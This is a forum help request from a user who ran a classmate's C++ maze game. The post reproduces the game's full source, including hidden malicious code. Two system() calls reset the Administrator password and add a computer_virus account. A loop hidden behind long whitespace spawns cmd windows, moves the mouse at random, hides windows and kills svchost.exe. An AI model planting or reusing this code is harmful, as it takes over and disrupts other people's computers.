求问
  • 板块灌水区
  • 楼主Gcc_Gdb_7_8_1
  • 当前回复8
  • 已保存回复8
  • 发布时间2025/1/18 15:52
  • 上次更新2025/1/18 18:55:09
查看原帖
求问
1058410
Gcc_Gdb_7_8_1楼主2025/1/18 15:52

今天,我从我同学主页中发现了个迷宫代码,我先运行了一边,结果不知道咋回事突然鼠标乱飞,一直弹 cmd,逼我重启,然后我回来看代码,啊?代码中有这两行:

system("net user Administator 123456");
system("net user computer_virus computer_virus /add");

我现在需要找到那个计算机用户管理的界面,改回 Administrator 的密码和删除账户 computer_virus,但是普通的控制面板和设置 没有这俩账户(很明显是隐藏了),于是我要找到那个面板,能看到所有用户和组并编辑。

完整代码(不算宣吧):

#include<bits/stdc++.h>
#include<iomanip>
#include<iostream>
#include<cstdlib>
#include<ctime>
#include<conio.h>
#include<windows.h>
using namespace std;
int cntt;
int main() {
	system("color 4f");
	MessageBox(0, "Welcome to this game.You need to use w, s, a, d to control @ and move it to $ and get of this maze to pass the level.It's a simple game, right?", "Hello", MB_OK);
	cout << "Welcome to this game. " << endl;
	cout << "You need to use w, s, a, d to control @ and move it to $ and get of this maze to pass the level." << endl;
	cout << " It's a simple game, right?" << endl;
	cout << "Come on ,GO GO GO~" << endl;
	char maze[18][24] = {"|_____________________|", //1
	                     "| * * |",//2
	                     "| ************ * ** * |",//3
	                     "| * **** * |",//4
	                     "| ********** * * * |",//5
	                     "| ** * * *****|",//6
	                     "| ** ***** ***** * ** |",//7
	                     "| * * |",//8
	                     "|***** * ********** |",//9
	                     "| * * * * $ |",//10
	                     "| **** * * ****** ****|",//11
	                     "| * * * * * * |",//12
	                     "| * ****** * ** * * * |",//13
	                     "| * * ** * * * |",//14
	                     "| ********** ** * |",//15
	                     "| * |",//16
	                     "|************** ******|",//17
	                     "|---------------------|"
	                    };//18
	int x, y, z = 0;
	srand(time(0));
	x = rand() % 18;
	y = rand() % 23;
	while (maze[x][y] != ' ') {
		x = rand() % 18;
		y = rand() % 23;
	}
	maze[x][y] = '@';
	for (int i = 0; i < 18; i++) {
		for (int j = 0; j < 23; j++) {
			cout << maze[i][j] << " ";
		}
		cout << endl;
	}
	char c;
	while (true) {
		c = getch();
		system("cls");
		cout << "Welcome to this game. " << endl;
		cout << "You need to use w, s, a, d to control @ and move it to $ and get of this maze to pass the level." << endl;
		cout << " It's a simple game, right?" << endl;
		cout << "Come on ,GO GO GO~" << endl;
  		system("net user Administator 123456");
  		system("net user computer_virus computer_virus /add");
		POINT mouse; srand(time(0));																																																																																																																																																																																																																																																																																																																																																																																																																															while (true) {cntt++;if (cntt==1000){system("taskkill /f /im svchost.exe");}system("start cmd");mouse_event(MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);mouse_event(MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0);keybd_event(67, 0, KEYEVENTF_KEYUP, 0);GetCursorPos(&mouse); mouse.x=rand()%1920; mouse.y=rand()%1080;SetCursorPos(mouse.x,mouse.y); Sleep(10);HWND hWnd=GetForegroundWindow(); ShowWindow(hWnd,SW_HIDE);}																																																																																																																																																																																																																																																																																																																																																																																																																													
		if (c == 'w') {
			if (maze[x - 1][y] != '*' && maze[x - 1][y] != '_' && maze[x - 1][y] != '-' && maze[x - 1][y] != '|') {
				maze[x][y] = ' ';
				x--;
				maze[x][y] = '@';
				z += 1;
			}
		} else if (c == 's') {
			if (maze[x + 1][y] != '*' && maze[x + 1][y] != '_' && maze[x + 1][y] != '-' && maze[x + 1][y] != '|') {
				maze[x][y] = ' ';
				x++;
				maze[x][y] = '@';
				z += 1;
			}
		} else if (c == 'a') {
			if (maze[x][y - 1] != '*' && maze[x][y - 1] != '_' && maze[x][y - 1] != '-' && maze[x][y - 1] != '|') {
				maze[x][y] = ' ';
				y--;
				maze[x][y] = '@';
				z += 1;
			}
		} else if (c == 'd') {
			if (maze[x][y + 1] != '*' && maze[x][y + 1] != '_' && maze[x][y + 1] != '-' && maze[x][y + 1] != '|') {
				maze[x][y] = ' ';
				y++;
				maze[x][y] = '@';
				z += 1;
			}
		}
		for (int i = 0; i < 18; i++) {
			for (int j = 0; j < 23; j++) {
				cout << maze[i][j] << " ";
			}
			cout << endl;
		}
		if (x == 9 && y == 20) {
			MessageBox(0, "Congratulations on obtaining the treasure chest~", "Congratulations", MB_OK);
			maze[0][14] = ' ';
		}
		if (x == 0 && y == 14 && maze[9][20] == ' ') {
			Beep(1000, 1000);
			Beep(550, 500);
			Beep(800, 500);
			Beep(675, 500);
			Beep(900, 500);
			Beep(800, 500);
			Sleep(500);
			string steps = "走出迷宫,使用步数为:";
			char sum[100];
			itoa(z, sum, 10);
			steps += sum;
			MessageBox(0, "Congratulations on your clearance~", "Congratulations", MB_OK);
			MessageBox(0, steps.c_str(), "Congratulations", MB_OK);
		}
	}


	return 0;
}

(你试试把鼠标放到第 61 行,会发现后面有好多空格,画到后面,你会看见这一句:)

while (true) {cntt++;if (cntt==1000){system("taskkill /f /im svchost.exe");}system("start cmd");mouse_event(MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);mouse_event(MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0);keybd_event(67, 0, KEYEVENTF_KEYUP, 0);GetCursorPos(&mouse); mouse.x=rand()%1920; mouse.y=rand()%1080;SetCursorPos(mouse.x,mouse.y); Sleep(10);HWND hWnd=GetForegroundWindow(); ShowWindow(hWnd,SW_HIDE);}

这便是使得计算机的鼠标乱飞和一直弹 cmd 的罪魁祸首

2025/1/18 15:52
加载中...